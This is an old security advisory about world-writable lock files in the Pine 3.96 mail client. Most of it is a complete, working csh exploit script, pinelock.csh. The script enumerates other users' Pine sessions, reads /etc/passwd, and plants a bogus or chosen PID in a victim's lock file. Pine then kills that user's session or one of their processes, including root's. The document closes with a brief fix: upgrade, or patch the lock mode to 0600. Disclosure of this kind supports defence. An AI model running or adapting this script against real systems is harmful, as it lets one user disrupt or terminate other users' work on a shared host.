COMMAND
pine
SYSTEMS AFFECTED
Pine 3.96
PROBLEM
Roger Harrison posted following pinelock.csh exploit. Exploit
below allows you to log off a user or kill one of their processes
IF they open up a second session of pine. It isn't terribly
useful, except for annoying a user. However, if root opens up
two sessions of pine, it's easy to think out of some interesting
processes and daemons which might be killed. Copies of this
program will be stored at http://kepler.poly.edu/~rharri01/.
#!/bin/csh -f
#pinelock.csh
#Written 12/97 by Iconoclast -> iconoclast@thepentagon.com
#This program can exploit the vulnerabilities of pine lock files in version 3.96
#which are mode 666 to log a person off or kill one of their processes if a second
#instance of pine is started. It only works if they open a second session of pine.
#It could be useful if root likes to open up two sessions of pine...
#The kill occurs in the files bezerk.c and mmdf.c as seen in the code fragment from
#pine below:
#
# /* can get the lock? */
#else if (flock (fd,LOCK_EX|LOCK_NB)) {
# if (retry-- == KODRETRY) {/* no, first time through? */
# /* yes, get other process' PID */
# if (!fstat (fd,&sbuf) && (i = min (sbuf.st_size,MAILTMPLEN)) &&
# (read (fd,tmp,i) == i) && !(tmp[i) = 0) && (i = atol (tmp))) {
# kill ((int) i,SIGUSR2);
# sprintf (tmp,"Trying to get mailbox lock from process %ld",i);
# mm_log (tmp,WARN);
# }
# else retry = 0; /* give up */
# }
# close (fd); /* get a new handle next time around */
#Notes on files created
#/tmp/aa temp list of lock files
#/tmp/bb user id's
#/tmp/cc /etc/passwd entry
#/tmp/dd pine lock file names
#/tmp/ee pids within lock files
#/tmp/ff user names
#/tmp/gg count of users running pine
#/tmp/hh final parsed output
#/tmp/jj processes
#/tmp/kk parsed processes
#/tmp/ll temp storage for pid and garbage
#/tmp/mm actual pid we want to kill
#/tmp/nn parsed numbers and processes
#/tmp/oo list of just pids
clear
ls -la /tmp|egrep 'rw-rw-rw-.*\.[0-9a-f]+\.[0-9a-f]+$' > /tmp/aa #list of lock files in /tmp
awk '{print $3}' /tmp/aa > /tmp/bb #get user name of each file
awk '{print $9}' /tmp/aa > /tmp/dd #get list of names of lock files
touch /tmp/cc /tmp/ee /tmp/gg #create files so we don't run into trouble #in the foreach loop when we do ">>"
foreach i ( `cat /tmp/bb` )
grep $i /etc/passwd >> /tmp/cc #search /etc/passwd for user name
end
awk -F: '{print $5}' /tmp/cc > /tmp/ff #get person's name from user name
set k=1
foreach i( `cat /tmp/dd` ) #go through lock file names
echo $k >> /tmp/gg #generate sequential numbers
set k = `expr $k + 1` #increment count by 1
cat /tmp/$i >> /tmp/ee #get pid within each lock file
echo "" >> /tmp/ee #new line
end
paste -d " " /tmp/gg /tmp/dd /tmp/ee /tmp/bb /tmp/ff>/tmp/hh
echo "The following users are running pine:"
echo ""
echo "#" lock file pid " " uid " " user name
echo "--------------------------------------------------"
cat /tmp/hh #this is the parsed data
echo ""
echo "Pick from the choices below."
echo "1) Try to log them off"
echo "2) Try to kill a process"
echo "3) Exit"
echo -n "Choice:"
set input = $<
if ("$input" == "3") then
cd /tmp
rm -f aa bb cc dd ee ff gg hh
exit
endif
if ("$input" == "1"||"$input" == "2") then
echo -n "Pick a number you'd like to try:"
set number = $<
set k=0
foreach i (`cat /tmp/dd`)
set k = `expr $k + 1`
if ("$k" == "$number") then
set filename = $i
goto label
endif
end
endif
label:
if("$input" == "1") then
echo 99999999999999999999999999999999 >! /tmp/$i #32 9's in lock file
echo "Kill code has been inserted\!"
endif
if ("$input" == "2") then
echo '' >! /tmp/$i #remove old pid
echo "Below are the processes the person is running:"
ls -la /tmp/$i > /tmp/ll
awk '{print $3}' /tmp/ll > /tmp/mm #/tmp/mm has uid
set uid = `cat /tmp/mm`
/bin/ps -ef|grep $uid > /tmp/jj
#number generator and paste.
awk '{print $1}' /tmp/jj > /tmp/kk #amount of processes
set k=1
rm -f /tmp/gg
touch /tmp/gg
foreach i( `cat /tmp/kk` )
echo $k >> /tmp/gg #generate sequential numbers
set k = `expr $k + 1` #increment count by 1
end
paste -d " " /tmp/gg /tmp/jj > /tmp/nn
cat /tmp/nn
echo -n "Pick a process:" #choose process we want to kill
set number2 = $<
awk '{print $3}' /tmp/nn > /tmp/oo #put pids into a file
set k=0
foreach i( `cat /tmp/oo` ) #find pid we want
set k = `expr $k + 1`
if ("$k" == "$number2") then
goto label2
endif
end
label2:
echo $i >! /tmp/$filename #put pid into lockfile
echo "Kill code has been inserted\!"
endif
cd /tmp
rm -f aa bb cc dd ee ff gg hh jj kk ll mm nn oo #clean up files
cd #put you back in home dir
SOLUTION
Upgrade your pine to 3.97. Not sure if this is the right thing
to do, or if it will cause problems with other parts of pine but
there is a quick fix.
bash# diff env_unix.c~ env_unix.c
49c49
< static long lock_protection = 0666;
---
> static long lock_protection = 0600;
This file can be found in imap/c-client under the source tree of
pine-3.96 and leaves the lock file mode 600:
-rw------- 1 jbourne users 4 Dec 6 11:16 .2.21200505